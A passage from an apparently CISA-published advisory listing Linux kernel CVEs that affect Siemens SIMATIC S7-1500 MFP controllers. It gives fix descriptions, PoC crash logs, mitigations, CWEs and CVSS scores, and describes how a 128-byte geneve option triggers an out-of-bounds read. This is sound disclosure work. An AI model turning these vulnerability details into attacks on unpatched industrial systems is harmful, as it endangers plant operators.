Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) RIP: 0010:proc_get_inode+0x302/0x6e0 RSP: 0018:ffff88811c837998 EFLAGS: 00010a06 RAX: dffffc0000000000 RBX: ffffffffc0538140 RCX: 0000000000000007 RDX: 1ffffffff80a702b RSI: 0000000000000001 RDI: ffffffffc0538158 RBP: ffff8881299a6000 R08: 0000000067bbe1e5 R09: 1ffff11023906f20 R10: ffffffffb560ca07 R11: ffffffffb2b43a58 R12: ffff888105bb78f0 R13: ffff888100518048 R14: ffff8881299a6004 R15: 0000000000000001 FS: 00007f95b9686840(0000) GS:ffff8883af100000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: fffffbfff80a702b CR3: 0000000117dd2000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: proc_lookup_de+0x11f/0x2e0 __lookup_slow+0x188/0x350 walk_component+0x2ab/0x4f0 path_lookupat+0x120/0x660 filename_lookup+0x1ce/0x560 vfs_statx+0xac/0x150 __do_sys_newstat+0x96/0x110 do_syscall_64+0x5f/0x170 entry_SYSCALL_64_after_hwframe+0x76/0x7e [adobriyan@gmail.com: don't do 2 atomic ops on the common path]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21999">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22005</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix memleak of nhc_pcpu_rth_output in fib_check_nh_v6_gw(). fib_check_nh_v6_gw() expects that fib6_nh_init() cleans up everything when it fails. Commit 7dd73168e273 ("ipv6: Always allocate pcpu memory in a fib6_nh") moved fib_nh_common_init() before alloc_percpu_gfp() within fib6_nh_init() but forgot to add cleanup for fib6_nh-&gt;nh_common.nhc_pcpu_rth_output in case it fails to allocate fib6_nh-&gt;rt6i_pcpu, resulting in memleak. Let's call fib_nh_common_release() and clear nhc_pcpu_rth_output in the error path. Note that we can remove the fib6_nh_release() call in nh_create_ipv6() later in net-next.git.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22005">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22015</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/migrate: fix shmem xarray update during migration A shmem folio can be either in page cache or in swap cache, but not at the same time. Namely, once it is in swap cache, folio-&gt;mapping should be NULL, and the folio is no longer in a shmem mapping. In __folio_migrate_mapping(), to determine the number of xarray entries to update, folio_test_swapbacked() is used, but that conflates shmem in page cache case and shmem in swap cache case. It leads to xarray multi-index entry corruption, since it turns a sibling entry to a normal entry during xas_store() (see [1] for a userspace reproduction). Fix it by only using folio_test_swapcache() to determine whether xarray is storing swap cache entries or not to choose the right number of xarray entries to update. [1] https://lore.kernel.org/linux-mm/Z8idPCkaJW1IChjT@casper.infradead.org/ Note: In __split_huge_page(), folio_test_anon() &amp;&amp; folio_test_swapcache() is used to get swap_cache address space, but that ignores the shmem folio in swap cache case. It could lead to NULL pointer dereferencing when a in-swap-cache shmem folio is split at __xa_store(), since !folio_test_anon() is true and folio-&gt;mapping is NULL. But fortunately, its caller split_huge_page_to_list_to_order() bails out early with EBUSY when folio-&gt;mapping is NULL. So no need to take care of it here.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22015">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22055</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix geneve_opt length integer overflow struct geneve_opt uses 5 bit length for each single option, which means every vary size option should be smaller than 128 bytes. However, all current related Netlink policies cannot promise this length condition and the attacker can exploit a exact 128-byte size option to *fake* a zero length option and confuse the parsing logic, further achieve heap out-of-bounds read. One example crash log is like below: [ 3.905425] ================================================================== [ 3.905925] BUG: KASAN: slab-out-of-bounds in nla_put+0xa9/0xe0 [ 3.906255] Read of size 124 at addr ffff888005f291cc by task poc/177 [ 3.906646] [ 3.906775] CPU: 0 PID: 177 Comm: poc-oob-read Not tainted 6.1.132 #1 [ 3.907131] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 [ 3.907784] Call Trace: [ 3.907925] [ 3.908048] dump_stack_lvl+0x44/0x5c [ 3.908258] print_report+0x184/0x4be [ 3.909151] kasan_report+0xc5/0x100 [ 3.909539] kasan_check_range+0xf3/0x1a0 [ 3.909794] memcpy+0x1f/0x60 [ 3.909968] nla_put+0xa9/0xe0 [ 3.910147] tunnel_key_dump+0x945/0xba0 [ 3.911536] tcf_action_dump_1+0x1c1/0x340 [ 3.912436] tcf_action_dump+0x101/0x180 [ 3.912689] tcf_exts_dump+0x164/0x1e0 [ 3.912905] fw_dump+0x18b/0x2d0 [ 3.913483] tcf_fill_node+0x2ee/0x460 [ 3.914778] tfilter_notify+0xf4/0x180 [ 3.915208] tc_new_tfilter+0xd51/0x10d0 [ 3.918615] rtnetlink_rcv_msg+0x4a2/0x560 [ 3.919118] netlink_rcv_skb+0xcd/0x200 [ 3.919787] netlink_unicast+0x395/0x530 [ 3.921032] netlink_sendmsg+0x3d0/0x6d0 [ 3.921987] __sock_sendmsg+0x99/0xa0 [ 3.922220] __sys_sendto+0x1b7/0x240 [ 3.922682] __x64_sys_sendto+0x72/0x90 [ 3.922906] do_syscall_64+0x5e/0x90 [ 3.923814] entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 3.924122] RIP: 0033:0x7e83eab84407 [ 3.924331] Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 &lt;5b&gt; c3 0f 1f 80 00 00 00 00 83 e2 39 83 faf [ 3.925330] RSP: 002b:00007ffff505e370 EFLAGS: 00000202 ORIG_RAX: 000000000000002c [ 3.925752] RAX: ffffffffffffffda RBX: 00007e83eaafa740 RCX: 00007e83eab84407 [ 3.926173] RDX: 00000000000001a8 RSI: 00007ffff505e3c0 RDI: 0000000000000003 [ 3.926587] RBP: 00007ffff505f460 R08: 00007e83eace1000 R09: 000000000000000c [ 3.926977] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffff505f3c0 [ 3.927367] R13: 00007ffff505f5c8 R14: 00007e83ead1b000 R15: 00005d4fbbe6dcb8 Fix these issues by enforing correct length condition in related policies.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22055">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22056</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_tunnel: fix geneve_opt type confusion addition When handling multiple NFTA_TUNNEL_KEY_OPTS_GENEVE attributes, the parsing logic should place every geneve_opt structure one by one compactly. Hence, when deciding the next geneve_opt position, the pointer addition should be in units of char *. However, the current implementation erroneously does type conversion before the addition, which will lead to heap out-of-bounds write. [ 6.989857] ================================================================== [ 6.990293] BUG: KASAN: slab-out-of-bounds in nft_tunnel_obj_init+0x977/0xa70 [ 6.990725] Write of size 124 at addr ffff888005f18974 by task poc/178 [ 6.991162] [ 6.991259] CPU: 0 PID: 178 Comm: poc-oob-write Not tainted 6.1.132 #1 [ 6.991655] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 [ 6.992281] Call Trace: [ 6.992423] [ 6.992586] dump_stack_lvl+0x44/0x5c [ 6.992801] print_report+0x184/0x4be [ 6.993790] kasan_report+0xc5/0x100 [ 6.994252] kasan_check_range+0xf3/0x1a0 [ 6.994486] memcpy+0x38/0x60 [ 6.994692] nft_tunnel_obj_init+0x977/0xa70 [ 6.995677] nft_obj_init+0x10c/0x1b0 [ 6.995891] nf_tables_newobj+0x585/0x950 [ 6.996922] nfnetlink_rcv_batch+0xdf9/0x1020 [ 6.998997] nfnetlink_rcv+0x1df/0x220 [ 6.999537] netlink_unicast+0x395/0x530 [ 7.000771] netlink_sendmsg+0x3d0/0x6d0 [ 7.001462] __sock_sendmsg+0x99/0xa0 [ 7.001707] ____sys_sendmsg+0x409/0x450 [ 7.002391] ___sys_sendmsg+0xfd/0x170 [ 7.003145] __sys_sendmsg+0xea/0x170 [ 7.004359] do_syscall_64+0x5e/0x90 [ 7.005817] entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 7.006127] RIP: 0033:0x7ec756d4e407 [ 7.006339] Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 &lt;5b&gt; c3 0f 1f 80 00 00 00 00 83 e2 39 83 faf [ 7.007364] RSP: 002b:00007ffed5d46760 EFLAGS: 00000202 ORIG_RAX: 000000000000002e [ 7.007827] RAX: ffffffffffffffda RBX: 00007ec756cc4740 RCX: 00007ec756d4e407 [ 7.008223] RDX: 0000000000000000 RSI: 00007ffed5d467f0 RDI: 0000000000000003 [ 7.008620] RBP: 00007ffed5d468a0 R08: 0000000000000000 R09: 0000000000000000 [ 7.009039] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 [ 7.009429] R13: 00007ffed5d478b0 R14: 00007ec756ee5000 R15: 00005cbd4e655cb8 Fix this bug with correct pointer addition and conversion in parse and dump code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22056">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22060</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mvpp2: Prevent parser TCAM memory corruption Protect the parser TCAM/SRAM memory, and the cached (shadow) SRAM information, from concurrent modifications. Both the TCAM and SRAM tables are indirectly accessed by configuring an index register that selects the row to read or write to. This means that operations must be atomic in order to, e.g., avoid spreading writes across multiple rows. Since the shadow SRAM array is used to find free rows in the hardware table, it must also be protected in order to avoid TOCTOU errors where multiple cores allocate the same row. This issue was detected in a situation where `mvpp2_set_rx_mode()` ran concurrently on two CPUs. In this particular case the MVPP2_PE_MAC_UC_PROMISCUOUS entry was corrupted, causing the classifier unit to drop all incoming unicast - indicated by the `rx_classifier_drops` counter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22060">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22083</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vhost-scsi: Fix handling of multiple calls to vhost_scsi_set_endpoint If vhost_scsi_set_endpoint is called multiple times without a vhost_scsi_clear_endpoint between them, we can hit multiple bugs found by Haoran Zhang: 1. Use-after-free when no tpgs are found: This fixes a use after free that occurs when vhost_scsi_set_endpoint is called more than once and calls after the first call do not find any tpgs to add to the vs_tpg. When vhost_scsi_set_endpoint first finds tpgs to add to the vs_tpg array match=true, so we will do: vhost_vq_set_backend(vq, vs_tpg); ... kfree(vs-&gt;vs_tpg); vs-&gt;vs_tpg = vs_tpg; If vhost_scsi_set_endpoint is called again and no tpgs are found match=false so we skip the vhost_vq_set_backend call leaving the pointer to the vs_tpg we then free via: kfree(vs-&gt;vs_tpg); vs-&gt;vs_tpg = vs_tpg; If a scsi request is then sent we do: vhost_scsi_handle_vq -&gt; vhost_scsi_get_req -&gt; vhost_vq_get_backend which sees the vs_tpg we just did a kfree on. 2. Tpg dir removal hang: This patch fixes an issue where we cannot remove a LIO/target layer tpg (and structs above it like the target) dir due to the refcount dropping to -1. The problem is that if vhost_scsi_set_endpoint detects a tpg is already in the vs-&gt;vs_tpg array or if the tpg has been removed so target_depend_item fails, the undepend goto handler will do target_undepend_item on all tpgs in the vs_tpg array dropping their refcount to 0. At this time vs_tpg contains both the tpgs we have added in the current vhost_scsi_set_endpoint call as well as tpgs we added in previous calls which are also in vs-&gt;vs_tpg. Later, when vhost_scsi_clear_endpoint runs it will do target_undepend_item on all the tpgs in the vs-&gt;vs_tpg which will drop their refcount to -1. Userspace will then not be able to remove the tpg and will hang when it tries to do rmdir on the tpg dir. 3. Tpg leak: This fixes a bug where we can leak tpgs and cause them to be un-removable because the target name is overwritten when vhost_scsi_set_endpoint is called multiple times but with different target names. The bug occurs if a user has called VHOST_SCSI_SET_ENDPOINT and setup a vhost-scsi device to target/tpg mapping, then calls VHOST_SCSI_SET_ENDPOINT again with a new target name that has tpgs we haven't seen before (target1 has tpg1 but target2 has tpg2). When this happens we don't teardown the old target tpg mapping and just overwrite the target name and the vs-&gt;vs_tpg array. Later when we do vhost_scsi_clear_endpoint, we are passed in either target1 or target2's name and we will only match that target's tpgs when we loop over the vs-&gt;vs_tpg. We will then return from the function without doing target_undepend_item on the tpgs. Because of all these bugs, it looks like being able to call vhost_scsi_set_endpoint multiple times was never supported. The major user, QEMU, already has checks to prevent this use case. So to fix the issues, this patch prevents vhost_scsi_set_endpoint from being called if it's already successfully added tpgs. To add, remove or change the tpg config or target name, you must do a vhost_scsi_clear_endpoint first.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22083">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22090</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Fix VM_PAT handling when fork() fails in copy_page_range() If track_pfn_copy() fails, we already added the dst VMA to the maple tree. As fork() fails, we'll cleanup the maple tree, and stumble over the dst VMA for which we neither performed any reservation nor copied any page tables. Consequently untrack_pfn() will see VM_PAT and try obtaining the PAT information from the page table -- which fails because the page table was not copied. The easiest fix would be to simply clear the VM_PAT flag of the dst VMA if track_pfn_copy() fails. However, the whole thing is about "simply" clearing the VM_PAT flag is shaky as well: if we passed track_pfn_copy() and performed a reservation, but copying the page tables fails, we'll simply clear the VM_PAT flag, not properly undoing the reservation ... which is also wrong. So let's fix it properly: set the VM_PAT flag only if the reservation succeeded (leaving it clear initially), and undo the reservation if anything goes wrong while copying the page tables: clearing the VM_PAT flag after undoing the reservation. Note that any copied page table entries will get zapped when the VMA will get removed later, after copy_page_range() succeeded; as VM_PAT is not set then, we won't try cleaning VM_PAT up once more and untrack_pfn() will be happy. Note that leaving these page tables in place without a reservation is not a problem, as we are aborting fork(); this process will never run. A reproducer can trigger this usually at the first try: 